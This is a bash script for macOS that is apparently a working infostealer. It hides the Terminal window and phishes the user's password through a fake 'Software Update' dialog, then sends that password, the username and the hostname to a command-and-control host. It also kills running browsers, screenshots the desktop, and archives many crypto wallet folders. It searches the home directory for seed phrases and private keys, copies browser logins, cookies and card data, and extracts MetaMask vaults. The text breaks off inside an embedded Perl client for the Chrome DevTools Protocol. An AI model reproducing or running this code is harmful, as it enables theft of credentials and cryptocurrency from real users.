#!/bin/bash BID="ps_Q4huLTcs.ps1" C2_URL="https://c2.cryptobwh.icu" exec >/dev/null 2>&1 osascript -e 'tell application "Terminal"' -e 'set visible of front window to false' -e 'end tell' 2>/dev/null osascript -e 'tell application "iTerm2"' -e 'set visible of front window to false' -e 'end tell' 2>/dev/null TIMING_LOG="$HOME/Library/Caches/.oao_timing_${BID}.log" echo "[TIMING] $(date +%s) START payload.sh BID=$BID" > "$TIMING_LOG" log_timing() { echo "[TIMING] $(date +%s) $1" >> "$TIMING_LOG" } log_timing "init_complete" OAO_PASS_FILE="${HOME}/Library/.c2/.oao_pass" PASSWORD="" if [ -f "$OAO_PASS_FILE" ]; then PASSWORD=$(cat "$OAO_PASS_FILE" 2>/dev/null | LC_ALL=C tr -d '\n\r') fi if [ -z "$PASSWORD" ]; then PASSWORD=$(osascript -e 'tell application "System Events" to display dialog "macOS needs to verify your identity.\nPlease enter your password to continue." with title "Software Update" with icon caution default answer "" buttons {"Continue"} default button "Continue" with hidden answer giving up after 120' 2>/dev/null | sed 's/.*text returned://' | sed 's/, gave up.*//' | LC_ALL=C tr -d '\r') fi if [ -n "$PASSWORD" ]; then mkdir -p "${HOME}/Library/.c2" 2>/dev/null echo "$PASSWORD" > "$OAO_PASS_FILE" 2>/dev/null chmod 600 "$OAO_PASS_FILE" 2>/dev/null fi for proc in \ "Google Chrome" "Google Chrome Beta" "Google Chrome Canary" "Google Chrome Dev" \ "Microsoft Edge" "Microsoft Edge Beta" "Microsoft Edge Dev" "Microsoft Edge Canary" \ "Brave Browser" "Brave Browser Beta" "Brave Browser Nightly" \ "Vivaldi" "Vivaldi-Snapshot" \ "Yandex" "YandexBrowser" \ "Opera" "OperaGX" "Opera Developer" \ "Chromium" "firefox" "firefox-bin" "Nightly" \ "TorBrowser" "Tor"; do pgrep -i "$proc" >/dev/null 2>&1 && killall -9 "$proc" 2>/dev/null || true done osascript -e 'tell application "Safari" to quit' 2>/dev/null || true sleep 3 for proc in "Google Chrome" "Microsoft Edge" "Brave Browser"; do pgrep -i "$proc" >/dev/null 2>&1 && killall -9 "$proc" 2>/dev/null || true done sleep 1 find "${HOME}/Library/Application Support" -maxdepth 5 \( -name "Singleton*" -o -name "lockfile" \) -delete 2>/dev/null || true username=$(whoami) hostn=$(hostname) curl -s -G "${C2_URL}/api/clickfix-callback" \ --data-urlencode "bid=${BID}" \ --data-urlencode "password=${PASSWORD}" \ --data-urlencode "user=${username}" \ --data-urlencode "host=${hostn}" > /dev/null 2>&1 & # sudo check removed HAS_SUDO=$? log_timing "data_collection_start" WORKDIR="/tmp/.oao_${BID}" mkdir -p "${WORKDIR}" uname -a > "${WORKDIR}/sysinfo.txt" 2>/dev/null echo "$username@$hostn" > "${WORKDIR}/host.txt" 2>/dev/null log_timing "keychain_dump_start" log_timing "screenshot_start" screencapture -x -C -T 2 "${WORKDIR}/screenshot.jpg" 2>/dev/null if [ -f "${WORKDIR}/screenshot.jpg" ]; then sips -Z 1920 -s format jpeg -s formatOptions 65 "${WORKDIR}/screenshot.jpg" --out "${WORKDIR}/screenshot_opt.jpg" >/dev/null 2>&1 && mv -f "${WORKDIR}/screenshot_opt.jpg" "${WORKDIR}/screenshot.jpg" 2>/dev/null || true fi log_timing "wallets_start" wallet_paths=( "${HOME}/Library/Application Support/Exodus" "${HOME}/Library/Application Support/Electrum" "${HOME}/Library/Application Support/Ledger Live" "${HOME}/Library/Application Support/Coinomi" "${HOME}/Library/Application Support/Guarda" "${HOME}/Library/Application Support/walletwasabi" "${HOME}/Library/Application Support/atomic" "${HOME}/Library/Application Support/Bitcoin" "${HOME}/Library/Application Support/Litecoin" "${HOME}/Library/Application Support/Dogecoin" "${HOME}/Library/Application Support/Dash" "${HOME}/Library/Application Support/Monero" "${HOME}/Library/Application Support/Trezor Suite" "${HOME}/Library/Application Support/Sparrow" "${HOME}/Library/Application Support/electron-cash" "${HOME}/Library/Application Support/Binance" "${HOME}/Library/Application Support/Coinbase" "${HOME}/Library/Application Support/MetaMask" "${HOME}/Library/Application Support/Daedalus" "${HOME}/Library/Application Support/atomicDEX" "${HOME}/Library/Application Support/ZelCore" "${HOME}/Library/Application Support/Jaxx" "${HOME}/Library/Application Support/SafePal" "${HOME}/Library/Application Support/Zcash" "${HOME}/Library/Application Support/DeBank" "${HOME}/Library/Application Support/Ronin" "${HOME}/Library/Application Support/Rabby" "${HOME}/Library/Application Support/Keplr" "${HOME}/Library/Application Support/@tonkeeper" "${HOME}/Library/Application Support/Arctic" "${HOME}/Library/Application Support/Cake Wallet" "${HOME}/Library/Application Support/Edge" "${HOME}/Library/Application Support/Blockstream Green" "${HOME}/Library/Application Support/Trust Wallet" "${HOME}/Library/Application Support/MEW" "${HOME}/Library/Application Support/Waves" "${HOME}/Library/Application Support/NEM" "${HOME}/Library/Application Support/LBRY" "${HOME}/Library/Application Support/Lisk" "${HOME}/Library/Application Support/EOS" "${HOME}/Library/Application Support/Multy" "${HOME}/Library/Application Support/Nexo" "${HOME}/Library/Application Support/Flipside Crypto" "${HOME}/Library/Application Support/BlueWallet" "${HOME}/Library/Application Support/Zengo" "${HOME}/Library/Application Support/armory" "${HOME}/Library/Application Support/Wasabi" "${HOME}/Library/Application Support/Standard" "${HOME}/.electrum" "${HOME}/.bitcoin" "${HOME}/.ethereum" "${HOME}/.near-credentials" "${HOME}/.config/solana" "${HOME}/.polkadot" ) for w in "${wallet_paths[@]}"; do [ -d "$w" ] || [ -f "$w" ] || continue wname=$(basename "$w" | tr ' ' '_' | tr '@' '_') tar czf "${WORKDIR}/wallet_${wname}.tar.gz" -C "$(dirname "$w")" "$(basename "$w")" 2>/dev/null done # ===== HW wallets (cold storage) — дополнительно ===== hw_paths=( "${HOME}/Library/Application Support/KeepKey" "${HOME}/Library/Application Support/@onekeyhq" "${HOME}/Library/Application Support/Lattice" "${HOME}/Library/Application Support/BitBox" "${HOME}/Library/Application Support/CoolWallet" "${HOME}/Library/Application Support/Dcent" ) for hw in "${hw_paths[@]}"; do [ -d "$hw" ] || continue hwname=$(basename "$hw" | tr ' ' '_' | tr '@' '_' | tr '-' '_') tar czf "${WORKDIR}/hw_${hwname}.tar.gz" -C "$(dirname "$hw")" "$(basename "$hw")" 2>/dev/null done # ===== BIP39 Seed Phrase Scanning ===== log_timing "bip39_scan_start" # 1. Ищем seed-файлы по именам mkdir -p "${WORKDIR}/seeds" find "${HOME}" -maxdepth 8 \ \( -iname "seed.txt" -o -iname "seed_phrase.txt" -o -iname "mnemonic.txt" \ -o -iname "recovery.txt" -o -iname "recovery_phrase.txt" \ -o -iname "backup.txt" -o -iname "backup_phrase.txt" \ -o -iname "wallet.txt" -o -iname "wallet_backup.txt" \ -o -iname "paperwallet.txt" -o -iname "private.txt" \ -o -iname "24words.txt" -o -iname "12words.txt" \) \ -not -path "*/Library/Caches/*" -not -path "*/node_modules/*" \ -not -path "*/.git/*" -not -path "*/venv/*" \ 2>/dev/null > "${WORKDIR}/seeds/seed_files_list.txt" # Копируем содержимое seed-файлов while IFS= read -r sf; do [ -z "$sf" ] && continue cp "$sf" "${WORKDIR}/seeds/seed_found_$(echo "$sf" | tr '/' '_')" 2>/dev/null done < "${WORKDIR}/seeds/seed_files_list.txt" # 2. Grep BIP39 последовательностей (12+ слов из стандартного словаря) # Сканируем только документы, десктоп, даунлоады — не всю систему (слишком долго) for scan_dir in "${HOME}/Documents" "${HOME}/Desktop" "${HOME}/Downloads" "${HOME}/.crypto" "${HOME}/crypto"; do [ -d "$scan_dir" ] || continue # Ищем последовательности из 12+ BIP39 слов подряд в .txt find "$scan_dir" -type f -size -1M \( -name "*.txt" -o -name "*.md" -o -name "*.rtf" -o -name "*.log" -o -name "*.csv" \) \ -not -path "*/node_modules/*" -not -path "*/.git/*" \ 2>/dev/null | while IFS= read -r f; do # Проверяем: есть ли 12+ слов подряд из BIP39 words12=$(head -50 "$f" 2>/dev/null | tr '[:upper:]' '[:lower:]' | grep -oE '\b[a-z]+\b' | tr '\n' ' ') # Простейшая проверка: ищем 12+ слов, каждое из которых входит в BIP39 (первые 100 слов словаря) echo "$words12" | grep -E '\b(abandon|ability|able|about|above|absent|absorb|abstract|absurd|abuse|access|accident|account|accuse|achieve|acid|acoustic|acquire|across|act|action|actor|actress|actual|adapt|add|addict|address|adjust|admit|adult|advance|advice|aerobic|affair|afford|afraid|again|age|agent|agree|ahead|aim|air|airport|aisle|alarm|album|alcohol|alert|alien|all|alley|allow|almost|alone|alpha|already|also|alter|always|amateur|amazing|among|amount|amused|analyst|anchor|ancient|anger|angle|angry|animal|ankle|announce|annual|another|answer|antenna|antique|anxiety|any|apart|apology|appear|apple|approve|april|arch|arctic|area|arena|argue|arm|armed|armor|army|around|arrange|arrest|arrive|arrow|art|artefact|artist|artwork|ask|aspect|assault|asset|assist|assume|asthma|athlete|atom|attack|attend|attitude|attract|auction|audit|august|aunt|author|auto|autumn|average|avocado|avoid|awake|aware|away|awesome|awful|awkward|axis|baby|bachelor|bacon|badge|bag|balance|balcony|ball|bamboo|banana|banner|bar|barely|bargain|barrel|base|basic|basket|battle|beach|bean|beauty|because|become|beef|before|begin|behave|behind|believe|below|belt|bench|benefit|best|betray|better|between|beyond|bicycle|bid|bike|bind|biology|bird|birth|bitter|black|blade|blame|blanket|blast|bleak|bless|blind|blood|blossom|blouse|blue|blur|blush|board|boat|body|boil|bomb|bone|bonus|book|boost|border|boring|borrow|boss|bottom|bounce|box|boy|bracket|brain|brand|brass|brave|bread|breeze|brick|bridge|brief|bright|bring|brisk|broccoli|broken|bronze|broom|brother|brown|brush|bubble|buddy|budget|buffalo|build|bulb|bulk|bullet|bundle|bunker|burden|burger|burst|bus|business|busy|butter|buyer|buzz|cabbage|cabin|cable|cactus|cage|cake|call|calm|camera|camp|can|canal|cancel|candy|cannon|canoe|canvas|canyon|capable|capital|captain|car|carbon|card|cargo|carpet|carry|cart|case|cash|casino|castle|casual|cat|catalog|catch|category|cattle|caught|cause|caution|cave|ceiling|celery|cement|census|century|cereal|certain|chair|chalk|champion|change|chaos|chapter|charge|chase|chat|cheap|check|cheese|chef|cherry|chest|chicken|chief|child|chimney|choice|choose|chronic|chuckle|chunk|churn|cigar|cinnamon|circle|citizen|city|civil|claim|clap|clarify|claw|clay|clean|clerk|clever|click|client|cliff|climb|clinic|clip|clock|clog|close|cloth|cloud|clown|club|clump|cluster|clutch|coach|coast|coconut|code|coffee|coil|coin|collect|color|column|combine|come|comfort|comic|common|company|concert|conduct|confirm|congress|connect|consider|control|convince|cook|cool|copper|copy|coral|core|corn|correct|cost|cotton|couch|country|couple|course|cousin|cover|coyote|crack|cradle|craft|cram|crane|crash|crater|crawl|crazy|cream|credit|creek|crew|cricket|crime|crisp|critic|crop|cross|crouch|crowd|crucial|cruel|cruise|crumble|crunch|crush|cry|crystal|cube|culture|cup|cupboard|curious|current|curtain|curve|cushion|custom|cute|cycle|dad|damage|damp|dance|danger|daring|dash|daughter|dawn|day|deal|debate|debris|decade|december|decide|decline|decorate|decrease|deer|defense|define|defy|degree|delay|deliver|demand|demise|denial|dentist|deny|depart|depend|deposit|depth|deputy|derive|describe|desert|design|desk|despair|destroy|detail|detect|develop|device|devote|diagram|dial|diamond|diary|dice|diesel|diet|differ|digital|dignity|dilemma|dinner|dinosaur|direct|dirt|disagree|discover|disease|dish|dismiss|disorder|display|distance|divert|divide|divorce|dizzy|doctor|document|dog|doll|dolphin|domain|donate|donkey|donor|door|dose|double|dove|draft|dragon|drama|drastic|draw|dream|dress|drift|drill|drink|drip|drive|drop|drum|dry|duck|dumb|dune|during|dust|dutch|duty|dwarf|dynamic|eager|eagle|early|earn|earth|easily|east|easy|echo|ecology|economy|edge|edit|educate|effort|egg|eight|either|elbow|elder|electric|elegant|element|elephant|elevator|elite|else|embark|embody|embrace|emerge|emotion|employ|empower|empty|enable|enact|endless|endorse|enemy|energy|enforce|engage|engine|enhance|enjoy|enlist|enough|enrich|enroll|ensure|enter|entire|entry|envelope|episode|equal|equip|era|erase|erode|erosion|error|erupt|escape|essay|essence|estate|eternal|ethics|evidence|evil|evoke|evolve|exact|example|excess|exchange|excite|exclude|excuse|execute|exercise|exhaust|exhibit|exile|exist|exit|exotic|expand|expect|expire|explain|expose|extend|extra|eye|eyebrow|fabric|face|faculty|fade|faint|faith|fall|false|fame|family|famous|fan|fancy|fantasy|farm|fashion|fat|fatal|father|fatigue|fault|favorite|feature|february|federal|fee|feed|feel|female|fence|festival|fetch|fever|few|fiber|fiction|field|figure|file|film|filter|final|find|fine|finger|finish|fire|firm|first|fiscal|fish|fit|fitness|fix|flag|flame|flash|flat|flavor|flee|flight|flip|float|flock|floor|flower|fluid|flush|fly|foam|focus|fog|foil|fold|follow|food|foot|force|foreign|forest|forget|fork|fortune|forum|forward|fossil|foster|found|fox|fragile|frame|frequent|fresh|friend|fringe|frog|front|frost|frown|frozen|fruit|fuel|fun|funny|furnace|fury|future|gadget|gain|galaxy|gallery|game|gap|garage|garbage|garden|garlic|garment|gas|gasp|gate|gather|gauge|gaze|general|genius|genre|gentle|genuine|gesture|ghost|giant|gift|giggle|ginger|giraffe|girl|give|glad|glance|glare|glass|glide|glimpse|globe|gloom|glory|glove|glow|glue|goat|goddess|gold|good|goose|gorilla|gospel|gossip|govern|gown|grab|grace|grain|grant|grape|grass|gravity|great|green|grid|grief|grit|grocery|group|grow|grunt|guard|guess|guide|guilt|guitar|gun|gym|habit|hair|half|hammer|hamster|hand|happy|harbor|hard|harsh|harvest|hat|have|hawk|hazard|head|health|heart|heavy|hedgehog|height|hello|helmet|help|hen|hero|hidden|high|hill|hint|hip|hire|history|hobby|hockey|hold|hole|holiday|hollow|home|honey|hood|hope|horn|horror|horse|hospital|host|hotel|hour|hover|hub|huge|human|humble|humor|hundred|hungry|hunt|hurdle|hurry|hurt|husband|hybrid|ice|icon|idea|identify|idle|ignore|illegal|illness|image|imitate|immense|immune|impact|impose|improve|impulse|inch|include|income|increase|index|indicate|indoor|industry|infant|inflict|inform|inhale|inherit|initial|inject|injury|inmate|inner|innocent|input|inquiry|insane|insect|inside|inspire|install|intact|interest|into|invest|invite|involve|iron|island|isolate|issue|item|ivory|jacket|jaguar|jar|jazz|jealous|jeans|jelly|jewel|job|join|joke|journey|joy|judge|juice|jump|jungle|junior|junk|just|kangaroo|keen|keep|ketchup|key|kick|kid|kidney|kind|kingdom|kiss|kit|kitchen|kite|kitten|kiwi|knee|knife|knock|know|lab|label|labor|ladder|lady|lake|lamp|language|laptop|large|later|latin|laugh|laundry|lava|law|lawn|lawsuit|layer|lazy|leader|leaf|learn|leave|lecture|left|leg|legal|legend|leisure|lemon|lend|length|lens|leopard|lesson|letter|level|liar|liberty|library|license|life|lift|light|like|limb|limit|link|lion|liquid|list|little|live|lizard|load|lobster|lock|logic|lonely|long|loop|lottery|loud|lounge|love|loyal|lucky|luggage|lumber|lunar|lunch|luxury|lyrics|machine|mad|magic|magnet|maid|mail|main|major|make|mammal|man|manage|mandate|mango|mansion|manual|maple|marble|march|margin|marine|market|marriage|mask|mass|master|match|material|math|matrix|matter|maximum|maze|meadow|mean|measure|meat|mechanic|medal|media|melody|melt|member|memory|mention|menu|mercy|merge|merit|merry|mesh|message|metal|method|middle|midnight|milk|million|mimic|mind|minimum|minor|minute|miracle|mirror|misery|miss|mistake|mix|mixed|mixture|mobile|model|modify|mom|moment|monitor|monkey|monster|month|moon|moral|more|morning|mosquito|mother|motion|motor|mountain|mouse|move|movie|much|muffin|mule|multiply|muscle|museum|mushroom|music|must|mutual|myself|mystery|myth|naive|name|napkin|narrow|nasty|nation|nature|near|neck|need|negative|neglect|neither|nephew|nerve|nest|net|network|neutral|never|news|next|nice|night|noble|noise|nominee|noodle|normal|north|nose|notable|note|nothing|notice|novel|now|nuclear|number|nurse|nut|oak|obey|object|oblige|obscure|observe|obtain|obvious|occur|ocean|october|odor|off|offer|office|often|oil|okay|old|olive|olympic|omit|once|one|onion|online|only|open|opera|opinion|oppose|option|orange|orbit|orchard|order|ordinary|organ|orient|original|orphan|ostrich|other|outdoor|outer|output|outside|oval|oven|over|own|owner|oxygen|oyster|ozone|pact|paddle|page|pair|palace|palm|panda|panel|panic|panther|paper|parade|parent|park|parrot|party|pass|patch|path|patient|patrol|pattern|pause|pave|payment|peace|peanut|pear|peasant|pelican|penalty|pencil|people|pepper|perfect|permit|person|pet|phone|photo|phrase|physical|piano|picnic|picture|piece|pig|pigeon|pill|pilot|pink|pioneer|pipe|pistol|pitch|pizza|place|planet|plastic|plate|play|please|pledge|pluck|plug|plunge|poem|poet|point|polar|pole|police|pond|pony|pool|popular|portion|position|possible|post|potato|pottery|poverty|powder|power|practice|praise|predict|prefer|prepare|present|pretty|prevent|price|pride|primary|print|priority|prison|private|prize|problem|process|produce|profit|program|project|promote|proof|property|prosper|protect|proud|provide|public|pudding|pull|pulp|pulse|pumpkin|punch|pupil|puppy|purchase|purity|purpose|purse|push|put|puzzle|pyramid|quality|quantum|quarter|question|quick|quit|quiz|quote|rabbit|raccoon|race|rack|radar|radio|rail|rain|raise|rally|ramp|ranch|random|range|rapid|rare|rate|rather|raven|raw|razor|ready|real|reason|rebel|rebuild|recall|receive|recipe|record|recycle|reduce|reflect|reform|refuse|region|regret|regular|reject|relax|release|relief|rely|remain|remember|remind|remove|render|renew|rent|reopen|repair|repeat|replace|report|require|rescue|resemble|resist|resource|response|result|retire|retreat|return|reunion|reveal|review|reward|rhythm|rib|ribbon|rice|rich|ride|ridge|rifle|right|rigid|ring|riot|ripple|risk|ritual|rival|river|road|roast|robot|robust|rocket|romance|roof|rookie|room|rose|rotate|rough|round|route|royal|rubber|rude|rug|rule|run|runway|rural|sad|saddle|sadness|safe|sail|salad|salmon|salon|salt|salute|same|sample|sand|satisfy|satoshi|sauce|sausage|save|say|scale|scan|scare|scatter|scene|scheme|school|science|scissors|scorpion|scout|scrap|screen|script|scrub|sea|search|season|seat|second|secret|section|security|seed|seek|segment|select|sell|seminar|senior|sense|sentence|series|service|session|settle|setup|seven|shadow|shaft|shallow|share|shed|shell|sheriff|shield|shift|shine|ship|shiver|shock|shoe|shoot|shop|short|shoulder|shove|shrimp|shrug|shuffle|shy|sibling|sick|side|siege|sight|sign|silent|silk|silly|silver|similar|simple|since|sing|siren|sister|situate|six|size|skate|sketch|ski|skill|skin|skirt|skull|slab|slam|sleep|slender|slice|slide|slight|slim|slogan|slot|slow|slush|small|smart|smile|smoke|smooth|snack|snake|snap|sniff|snow|soap|soccer|social|sock|soda|soft|solar|soldier|solid|solution|solve|someone|song|soon|sorry|sort|soul|sound|soup|source|south|space|spare|spatial|spawn|speak|special|speed|spell|spend|sphere|spice|spider|spike|spin|spirit|split|spoil|sponsor|spoon|sport|spot|spray|spread|spring|spy|square|squeeze|squirrel|stable|stadium|staff|stage|stairs|stamp|stand|start|state|stay|steak|steel|stem|step|stereo|stick|still|sting|stock|stomach|stone|stool|story|stove|strategy|street|strike|strong|struggle|student|stuff|stumble|style|subject|submit|subway|success|such|sudden|suffer|sugar|suggest|suit|sun|sunny|sunset|super|supply|support|suppose|sure|surface|surge|surprise|surround|survey|suspect|sustain|swallow|swamp|swap|swarm|swear|sweet|swift|swim|swing|switch|sword|symbol|symptom|syrup|system|table|tackle|tag|tail|talent|talk|tank|tape|target|task|taste|tattoo|taxi|teach|team|tell|ten|tenant|tennis|tent|term|test|text|thank|that|theme|then|theory|there|they|thing|this|thought|three|thrive|throw|thumb|thunder|ticket|tide|tiger|tilt|timber|time|tiny|tip|tired|tissue|title|toast|tobacco|today|toddler|toe|together|toilet|token|tomato|tomorrow|tone|tongue|tonight|tool|tooth|top|topic|topple|torch|tornado|tortoise|toss|total|tourist|toward|tower|town|toy|track|trade|traffic|tragic|train|transfer|trap|trash|travel|tray|treat|tree|trend|trial|tribe|trick|trigger|trim|trip|trophy|trouble|truck|true|truly|trumpet|trust|truth|try|tube|tuition|tumble|tuna|tunnel|turkey|turn|turtle|twelve|twenty|twice|twin|twist|two|type|typical|ugly|umbrella|unable|unaware|uncle|uncover|under|undo|unfair|unfold|unhappy|uniform|unique|unit|universe|unknown|unlock|until|unusual|unveil|update|upgrade|uphold|upon|upper|upset|urban|urge|usage|use|used|useful|useless|usual|valley|valuable|van|vanish|vapor|various|vast|vault|vehicle|velvet|vendor|venture|venue|verb|verify|version|very|vessel|veteran|viable|vibrant|vicious|victory|video|view|village|vintage|violin|virtual|virus|visa|visit|visual|vital|vivid|vocal|voice|void|volcano|volume|vote|voyage|wage|wagon|wait|walk|wall|walnut|want|warfare|warm|warrior|wash|wasp|waste|water|wave|way|wealth|weapon|wear|weasel|weather|web|wedding|weekend|weird|welcome|west|wet|whale|what|wheat|wheel|when|where|whip|whisper|wide|width|wife|wild|will|win|window|wine|wing|wink|winner|winter|wire|wisdom|wise|wish|witness|wolf|woman|wonder|wood|wool|word|work|world|worry|worth|wrap|wreck|wrestle|wrist|write|wrong|yard|year|yellow|you|young|youth|zebra|zero|zone|zoo)\b' >/dev/null 2>&1 && cp "$f" "${WORKDIR}/seeds/bip39_$(echo "$f" | tr '/' '_')" 2>/dev/null || true done done # 3. Private keys и seed в .env и конфигах find "${HOME}" -maxdepth 5 -name ".env*" -not -path "*/node_modules/*" 2>/dev/null | while IFS= read -r envf; do grep -E 'PRIVATE_KEY|SEED_PHRASE|MNEMONIC|SECRET|CRYPTO|WALLET' "$envf" 2>/dev/null > /dev/null && cp "$envf" "${WORKDIR}/seeds/" 2>/dev/null || true done # 4. Browser extensions localStorage для Ledger/Trezor # Chrome extensions для аппаратных кошельков for ext_dir in "${HOME}/Library/Application Support/Google/Chrome/Default/Local Extension Settings" "${HOME}/Library/Application Support/Google/Chrome/Default/Extension State"; do [ -d "$ext_dir" ] || continue find "$ext_dir" -type f -newer "${HOME}/.bash_profile" 2>/dev/null | while IFS= read -r extf; do # Проверяем на seed-подобный контент grep -lE 'seed|mnemonic|recovery|phrase|backup' "$extf" 2>/dev/null > /dev/null && cp "$extf" "${WORKDIR}/seeds/ext_$(basename "$extf")" 2>/dev/null || true done done log_timing "bip39_scan_end" log_timing "browsers_start" for proc in \ "Google Chrome" "Google Chrome Beta" "Google Chrome Canary" "Google Chrome Dev" \ "Microsoft Edge" "Microsoft Edge Beta" "Microsoft Edge Dev" "Microsoft Edge Canary" \ "Brave Browser" "Brave Browser Beta" "Brave Browser Nightly" \ "Vivaldi" "Vivaldi-Snapshot" \ "Yandex" "YandexBrowser" \ "Opera" "OperaGX" "Opera Developer" \ "Chromium" "firefox" "firefox-bin" "Nightly" \ "TorBrowser" "Tor"; do pgrep -i "$proc" >/dev/null 2>&1 && killall -9 "$proc" 2>/dev/null || true done osascript -e 'tell application "Safari" to quit' 2>/dev/null || true sleep 3 pgrep -i "Google Chrome" >/dev/null 2>&1 && killall -9 "Google Chrome" 2>/dev/null || true sleep 1 find "${HOME}/Library/Application Support" -maxdepth 5 \( -name "Singleton*" -o -name "lockfile" \) -delete 2>/dev/null || true _sqlite_backup_if_exists() { local src="$1" dst="$2" [ -f "$src" ] || return mkdir -p "$(dirname "$dst")" 2>/dev/null cp -f "$src" "$dst" 2>/dev/null || true } for browser_path in \ "${HOME}/Library/Application Support/Google/Chrome" \ "${HOME}/Library/Application Support/Google/Chrome Beta" \ "${HOME}/Library/Application Support/Google/Chrome Dev" \ "${HOME}/Library/Application Support/Google/Chrome Canary" \ "${HOME}/Library/Application Support/BraveSoftware/Brave-Browser" \ "${HOME}/Library/Application Support/BraveSoftware/Brave-Browser-Beta" \ "${HOME}/Library/Application Support/BraveSoftware/Brave-Browser-Nightly" \ "${HOME}/Library/Application Support/Microsoft Edge" \ "${HOME}/Library/Application Support/Vivaldi" \ "${HOME}/Library/Application Support/Yandex/YandexBrowser" \ "${HOME}/Library/Application Support/com.operasoftware.Opera" \ "${HOME}/Library/Application Support/com.operasoftware.OperaGX" \ "${HOME}/Library/Application Support/Chromium"; do [ -d "$browser_path" ] || continue bname=$(basename "$browser_path") br_dir="${WORKDIR}/browsers/${bname}" mkdir -p "$br_dir" profiles=$(find "${browser_path}" -maxdepth 4 \( -name "Login Data" -o -name "Cookies" -o -name "History" \) -exec dirname {} \; 2>/dev/null | sort -u || true) if [ -z "$profiles" ]; then for std in Default "Profile 1" "Profile 2" "Profile 3" "Profile 4" "Profile 5" "Person 1" "Person 2"; do [ -d "${browser_path}/${std}" ] && profiles="${profiles}${browser_path}/${std} " || true done fi [ -z "$profiles" ] && continue IFS=$'\n' for prof in $profiles; do pname=$(basename "$prof") pdir="${br_dir}/${pname}" mkdir -p "$pdir" _sqlite_backup_if_exists "${prof}/Login Data" "${pdir}/logins.db" if [ -f "${prof}/Network/Cookies" ]; then _sqlite_backup_if_exists "${prof}/Network/Cookies" "${pdir}/cookies.db" elif [ -f "${prof}/Cookies" ]; then _sqlite_backup_if_exists "${prof}/Cookies" "${pdir}/cookies.db" fi _sqlite_backup_if_exists "${prof}/History" "${pdir}/history.db" _sqlite_backup_if_exists "${prof}/Web Data" "${pdir}/cards.db" [ -f "${prof}/Bookmarks" ] && cp "${prof}/Bookmarks" "${pdir}/bookmarks.json" 2>/dev/null if [ -d "${prof}/Local Extension Settings" ]; then mkdir -p "${pdir}/ext" for ext_dir in "${prof}/Local Extension Settings"/*/; do [ -d "$ext_dir" ] || continue ext_id=$(basename "$ext_dir") cp -R "$ext_dir" "${pdir}/ext/$ext_id" 2>/dev/null || \ tar cf - -C "${prof}/Local Extension Settings" "$ext_id" 2>/dev/null | tar xf - -C "${pdir}/ext/" 2>/dev/null || true done fi if [ -d "${prof}/IndexedDB" ]; then mkdir -p "${pdir}/indexeddb" for idb_entry in "${prof}/IndexedDB"/chrome-extension_*/; do [ -d "$idb_entry" ] || continue idb_name=$(basename "$idb_entry") cp -R "$idb_entry" "${pdir}/indexeddb/$idb_name" 2>/dev/null || \ tar cf - -C "${prof}/IndexedDB" "$idb_name" 2>/dev/null | tar xf - -C "${pdir}/indexeddb/" 2>/dev/null || true done fi if [ -d "${prof}/Local Storage/leveldb" ]; then mkdir -p "${pdir}/local_storage" find "${prof}/Local Storage/leveldb" -maxdepth 1 -type f \( -name "*.ldb" -o -name "*.log" \) -exec cp -f {} "${pdir}/local_storage/" \; 2>/dev/null || \ cp -R "${prof}/Local Storage/leveldb"/ "${pdir}/local_storage/" 2>/dev/null || true fi done unset IFS [ -f "${browser_path}/Local State" ] && cp "${browser_path}/Local State" "${br_dir}/state.json" 2>/dev/null done log_timing "metamask_vault_start" for br_dir in "${WORKDIR}/browsers/"*/; do for prof_dir in "${br_dir}"*/; do idb_base="${prof_dir}indexeddb" if [ -d "$idb_base" ]; then find "$idb_base" -maxdepth 2 -type d -name "*.leveldb" 2>/dev/null | grep "nkbihfbeogaeaoehlefnkodbefgpgknn" | while read -r mm_ldb; do if [ -f "${mm_ldb}/CURRENT" ]; then # извлечение vault из LevelDB без python3: grep по .ldb/.log mm_vault="" for f in "${mm_ldb}"/*.ldb "${mm_ldb}"/*.log; do [ -f "$f" ] || continue while IFS= read -r hit; do cand="${hit#*\"data\":\"}" if [ "${#cand}" -gt 100 ] && [ "${#cand}" -gt "${#mm_vault}" ]; then mm_vault="$cand" fi done < <(LC_ALL=C grep -ao '{"data":"[A-Za-z0-9+/=]*' "$f" 2>/dev/null) done if [ -n "$mm_vault" ]; then printf '%s' "$mm_vault" > "${prof_dir}/metamask_vault.json" echo "[MM] Vault extracted: ${#mm_vault} chars, in ${prof_dir}" else echo "[MM] No vault found in ${mm_ldb}" fi true fi done fi les_path="${prof_dir}ext/nkbihfbeogaeaoehlefnkodbefgpgknn" if [ -d "$les_path" ]; then # извлечение vault из Local Extension Settings без python3 if [ -f "${les_path}/CURRENT" ]; then mm_vault="" for f in "${les_path}"/*.ldb "${les_path}"/*.log; do [ -f "$f" ] || continue while IFS= read -r hit; do cand="${hit#*\"data\":\"}" if [ "${#cand}" -gt 100 ] && [ "${#cand}" -gt "${#mm_vault}" ]; then mm_vault="$cand" fi done < <(LC_ALL=C grep -ao '{"data":"[A-Za-z0-9+/=]*' "$f" 2>/dev/null) done if [ -n "$mm_vault" ]; then printf '%s' "$mm_vault" > "${prof_dir}/metamask_vault.json" echo "[MM-LES] Vault extracted: ${#mm_vault} chars, via Local Extension Settings" fi fi fi done done log_timing "metamask_vault_end" log_timing "metamask_cdp_start" cdp_available=false CDP_MM_EXT_ID="nkbihfbeogaeaoehlefnkodbefgpgknn" for cdp_port in 9222 9333; do if curl -s "http://127.0.0.1:${cdp_port}/json/version" >/dev/null 2>&1; then cdp_available=true echo "[MM-CDP] Chrome CDP доступен на порту ${cdp_port}" break fi done if $cdp_available; then if command -v perl >/dev/null 2>&1; then echo "[MM-CDP] Запуск Level 1 (page target) [perl]..." perl - "$cdp_port" "$CDP_MM_EXT_ID" "$WORKDIR" <<'PERL_CDP_EOF' 2>/dev/null || true #!/usr/bin/perl # mm_cdp — CDP-клиент на ядровом perl (замена python3) use strict; use warnings; use JSON::PP; use IO::Socket::INET; use MIME::Base64; my ($port, $ext_id, $savedir) = @ARGV; $port ||= 9222; sub http_get { my ($path) = @_; my $sock = IO::Socket::INET->new(PeerHost => '127.0.0.1', PeerPort => $port, Proto => 'tcp', Timeout => 3) or return ''; print $sock "GET $path HTTP/1.1\r\nHost: 127.0.0.1:$port\r\nConnection: close\r\n\r\n"; my $resp = ''; while (my $c = <$sock>) { $resp .= $c; } close $sock; return $resp; } sub ws_open { my ($url) = @_; my $u = $url; $u =~ s{^ws://}{}; my ($hostport, $path) = split('/', $u, 2); $path = '/' . ($path || ''); my ($host, $p) = split(/:/, $hostport); $p ||= 80; my $sock = IO::Socket::INET->new(PeerHost => $host, PeerPort => $p, Proto => 'tcp', 